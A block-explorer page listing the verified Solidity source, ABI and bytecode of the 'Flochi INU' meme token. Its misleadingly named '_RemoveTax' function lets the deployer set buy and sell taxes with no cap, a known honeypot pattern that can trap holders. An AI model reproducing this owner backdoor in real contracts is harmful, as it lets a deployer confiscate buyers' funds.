ETH Price: $2,386.21 (+1.67%)

Token

Flochi INU (FLOCHI)
 

Overview

Max Total Supply

100,000,000,000,000 FLOCHI

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,307,080,707,806.717506488355377434 FLOCHI

Value
$0.00
0x264a0fAD9BB5D3518DCDb451d7cb2717B3bFB6Ca
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Flochi_INU

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : FLOCHI.sol
/*
The Chinese $FLOKI 

Flochi INU $FLOCHI



Twitter- https://x.com/flochieth
Telegram- https://t.me/FlochiETH
Website- www.Flochi.io
*/


// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import "./IERC20Errors.sol";
import "./IUniswapFactory.sol";
import "./IERC721Errors.sol";
import "./IERC1155Errors.sol";


contract Flochi_INU
{ 
    string private _name = unicode"Flochi INU";
    string private _symbol = unicode"FLOCHI";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000_000_000_000 * 10**decimals;

    struct StoreData {
        address tokenMkt;
        uint8 BuyTaxFee;
        uint8 SellTaxFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _BuyTaxFee = 0;
        uint8 _SellTaxFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            BuyTaxFee: _BuyTaxFee,
            SellTaxFee: _SellTaxFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function _RemoveTax(uint8 __Bunit8, uint8 _Sunit8) external {
        if (msg.sender != _ZkVerifyProofTokenMkt()) revert Permissions();
        RemoveTax(__Bunit8, _Sunit8);
    }

    function _ZkVerifyProofTokenMkt() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openedTrade() external {
        require(msg.sender == _ZkVerifyProofTokenMkt());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function RemoveTax(uint8 _buy, uint8 _sell) private {
        storeData.BuyTaxFee = _buy;
        storeData.SellTaxFee = _sell;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _ZkVerifyProofTokenMkt();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _BuyTaxFee, uint8 _SellTaxFee) = (storeData.BuyTaxFee, storeData.SellTaxFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 TaxAmount = (amount *(to == pair ? _SellTaxFee : _BuyTaxFee)) / 100;
            amount -= TaxAmount;
            balanceOf[address(this)] += TaxAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    

}

File 2 of 5 : IERC1155Errors.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

File 3 of 5 : IERC721Errors.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

File 4 of 5 : IUniswapFactory.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;


interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

      function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
      


}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) 
        external 
        view 
        returns 
        (address pair);
    function allPairs(uint) 
        external 
        view 
        returns 
        (address pair);
    function allPairsLength() 
        external 
        view 
        returns 
        (uint);
    function feeTo() 
        external 
        view 
        returns 
        (address);
    function feeToSetter() 
        external 
        view 
        returns 
        (address);
    
}



interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

File 5 of 5 : IERC20Errors.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"__Bunit8","type":"uint8"},{"internalType":"uint8","name":"_Sunit8","type":"uint8"}],"name":"_RemoveTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"BuyTaxFee","type":"uint8"},{"internalType":"uint8","name":"SellTaxFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a608090815269466c6f63686920494e5560b01b60a0525f906200002a9082620001fa565b50604080518082019091526006815265464c4f43484960d01b6020820152600190620000579082620001fa565b5034801562000064575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b199093169290921790915580620000b06012600a620003d5565b620000c290655af3107a4000620003ec565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001316012600a620003d5565b6200014390655af3107a4000620003ec565b60405190815260200160405180910390a3505062000406565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200018557607f821691505b602082108103620001a457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001f557805f5260205f20601f840160051c81016020851015620001d15750805b601f840160051c820191505b81811015620001f2575f8155600101620001dd565b50505b505050565b81516001600160401b038111156200021657620002166200015c565b6200022e8162000227845462000170565b84620001aa565b602080601f83116001811462000264575f84156200024c5750858301515b5f19600386901b1c1916600185901b178555620002be565b5f85815260208120601f198616915b82811015620002945788860151825594840194600190910190840162000273565b5085821015620002b257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200031a57815f1904821115620002fe57620002fe620002c6565b808516156200030c57918102915b93841c9390800290620002df565b509250929050565b5f826200033257506001620003cf565b816200034057505f620003cf565b8160018114620003595760028114620003645762000384565b6001915050620003cf565b60ff841115620003785762000378620002c6565b50506001821b620003cf565b5060208310610133831016604e8410600b8410161715620003a9575081810a620003cf565b620003b58383620002da565b805f1904821115620003cb57620003cb620002c6565b0290505b92915050565b5f620003e560ff84168362000322565b9392505050565b8082028115828204841417620003cf57620003cf620002c6565b610e8780620004145f395ff3fe6080604052600436106100c2575f3560e01c80634abe30521161007c57806395d89b411161005757806395d89b411461024b578063a8aa1b311461025f578063a9059cbb14610296578063dd62ed3e146102b5575f80fd5b80634abe3052146101ae5780635408d42d1461020c57806370a0823114610220575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780633190b74c1461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610ab8565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b1b565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b45565b610405565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101ac6101a7366004610b98565b610452565b005b3480156101b9575f80fd5b506002546101e3906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b348015610217575f80fd5b506101ac6104b0565b34801561022b575f80fd5b5061013a61023a366004610bc9565b60036020525f908152604090205481565b348015610256575f80fd5b506100e1610666565b34801561026a575f80fd5b5060055461027e906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b3480156102a1575f80fd5b506101166102b0366004610b1b565b610675565b3480156102c0575f80fd5b5061013a6102cf366004610be4565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c1b565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c1b565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26012600a610d47565b61040290655af3107a4000610d55565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610439908490610d6c565b9091555061044a9050848484610688565b949350505050565b6002546001600160a01b0316331461047c57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104c6575f80fd5b600554600160a81b900460ff16156104dc575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105519190610d7f565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c89190610d7f565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610617573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063b9190610d7f565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6060600180546102f990610c1b565b5f610681338484610688565b9392505050565b5f8061069c6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c85750806001600160a01b0316856001600160a01b0316145b806106e45750806001600160a01b0316846001600160a01b0316145b6106ec575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610713908490610d6c565b90915550506005546001600160a01b03858116911614801561073f5750600554600160a01b900460ff16155b8015610780575060646107546012600a610d47565b61076490655af3107a4000610d55565b61076e9190610d9a565b305f9081526003602052604090205410155b801561079e5750806001600160a01b0316856001600160a01b031614155b1561097e576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107e9576107e9610db9565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610859573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087d9190610d7f565b8160018151811061089057610890610db9565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646108d06012600a610d47565b6108e090655af3107a4000610d55565b6108ea9190610d9a565b5f8430426040518663ffffffff1660e01b815260040161090e959493929190610dcd565b5f604051808303815f87803b158015610925575f80fd5b505af1158015610937573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f1935050505015801561096e573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109bc5750600554600160a81b900460ff1615156001145b15610a30576005545f906064906001600160a01b038981169116146109e157836109e3565b825b6109f09060ff1688610d55565b6109fa9190610d9a565b9050610a068187610d6c565b305f90815260036020526040812080549298508392909190610a29908490610e3e565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a57908490610e3e565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610aa391815260200190565b60405180910390a35060019695505050505050565b5f602080835283518060208501525f5b81811015610ae457858101830151858201604001528201610ac8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b18575f80fd5b50565b5f8060408385031215610b2c575f80fd5b8235610b3781610b04565b946020939093013593505050565b5f805f60608486031215610b57575f80fd5b8335610b6281610b04565b92506020840135610b7281610b04565b929592945050506040919091013590565b803560ff81168114610b93575f80fd5b919050565b5f8060408385031215610ba9575f80fd5b610bb283610b83565b9150610bc060208401610b83565b90509250929050565b5f60208284031215610bd9575f80fd5b813561068181610b04565b5f8060408385031215610bf5575f80fd5b8235610c0081610b04565b91506020830135610c1081610b04565b809150509250929050565b600181811c90821680610c2f57607f821691505b602082108103610c4d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610ca157815f1904821115610c8757610c87610c53565b80851615610c9457918102915b93841c9390800290610c6c565b509250929050565b5f82610cb7575060016103e0565b81610cc357505f6103e0565b8160018114610cd95760028114610ce357610cff565b60019150506103e0565b60ff841115610cf457610cf4610c53565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d22575081810a6103e0565b610d2c8383610c67565b805f1904821115610d3f57610d3f610c53565b029392505050565b5f61068160ff841683610ca9565b80820281158282048414176103e0576103e0610c53565b818103818111156103e0576103e0610c53565b5f60208284031215610d8f575f80fd5b815161068181610b04565b5f82610db457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610e1d5784516001600160a01b031683529383019391830191600101610df8565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c5356fea264697066735822122017f4259192336a20827f68c367d6b3a4bea1208cda3e5d2c6da76b7783563d3564736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c80634abe30521161007c57806395d89b411161005757806395d89b411461024b578063a8aa1b311461025f578063a9059cbb14610296578063dd62ed3e146102b5575f80fd5b80634abe3052146101ae5780635408d42d1461020c57806370a0823114610220575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780633190b74c1461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610ab8565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b1b565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b45565b610405565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506101ac6101a7366004610b98565b610452565b005b3480156101b9575f80fd5b506002546101e3906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b348015610217575f80fd5b506101ac6104b0565b34801561022b575f80fd5b5061013a61023a366004610bc9565b60036020525f908152604090205481565b348015610256575f80fd5b506100e1610666565b34801561026a575f80fd5b5060055461027e906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b3480156102a1575f80fd5b506101166102b0366004610b1b565b610675565b3480156102c0575f80fd5b5061013a6102cf366004610be4565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c1b565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c1b565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26012600a610d47565b61040290655af3107a4000610d55565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610439908490610d6c565b9091555061044a9050848484610688565b949350505050565b6002546001600160a01b0316331461047c57604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6002546001600160a01b031633146104c6575f80fd5b600554600160a81b900460ff16156104dc575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561052d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105519190610d7f565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c89190610d7f565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610617573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063b9190610d7f565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6060600180546102f990610c1b565b5f610681338484610688565b9392505050565b5f8061069c6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c85750806001600160a01b0316856001600160a01b0316145b806106e45750806001600160a01b0316846001600160a01b0316145b6106ec575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610713908490610d6c565b90915550506005546001600160a01b03858116911614801561073f5750600554600160a01b900460ff16155b8015610780575060646107546012600a610d47565b61076490655af3107a4000610d55565b61076e9190610d9a565b305f9081526003602052604090205410155b801561079e5750806001600160a01b0316856001600160a01b031614155b1561097e576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107e9576107e9610db9565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610859573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087d9190610d7f565b8160018151811061089057610890610db9565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac94760646108d06012600a610d47565b6108e090655af3107a4000610d55565b6108ea9190610d9a565b5f8430426040518663ffffffff1660e01b815260040161090e959493929190610dcd565b5f604051808303815f87803b158015610925575f80fd5b505af1158015610937573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f1935050505015801561096e573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109bc5750600554600160a81b900460ff1615156001145b15610a30576005545f906064906001600160a01b038981169116146109e157836109e3565b825b6109f09060ff1688610d55565b6109fa9190610d9a565b9050610a068187610d6c565b305f90815260036020526040812080549298508392909190610a29908490610e3e565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a57908490610e3e565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610aa391815260200190565b60405180910390a35060019695505050505050565b5f602080835283518060208501525f5b81811015610ae457858101830151858201604001528201610ac8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b18575f80fd5b50565b5f8060408385031215610b2c575f80fd5b8235610b3781610b04565b946020939093013593505050565b5f805f60608486031215610b57575f80fd5b8335610b6281610b04565b92506020840135610b7281610b04565b929592945050506040919091013590565b803560ff81168114610b93575f80fd5b919050565b5f8060408385031215610ba9575f80fd5b610bb283610b83565b9150610bc060208401610b83565b90509250929050565b5f60208284031215610bd9575f80fd5b813561068181610b04565b5f8060408385031215610bf5575f80fd5b8235610c0081610b04565b91506020830135610c1081610b04565b809150509250929050565b600181811c90821680610c2f57607f821691505b602082108103610c4d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610ca157815f1904821115610c8757610c87610c53565b80851615610c9457918102915b93841c9390800290610c6c565b509250929050565b5f82610cb7575060016103e0565b81610cc357505f6103e0565b8160018114610cd95760028114610ce357610cff565b60019150506103e0565b60ff841115610cf457610cf4610c53565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d22575081810a6103e0565b610d2c8383610c67565b805f1904821115610d3f57610d3f610c53565b029392505050565b5f61068160ff841683610ca9565b80820281158282048414176103e0576103e0610c53565b818103818111156103e0576103e0610c53565b5f60208284031215610d8f575f80fd5b815161068181610b04565b5f82610db457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610e1d5784516001600160a01b031683529383019391830191600101610df8565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c5356fea264697066735822122017f4259192336a20827f68c367d6b3a4bea1208cda3e5d2c6da76b7783563d3564736f6c63430008180033

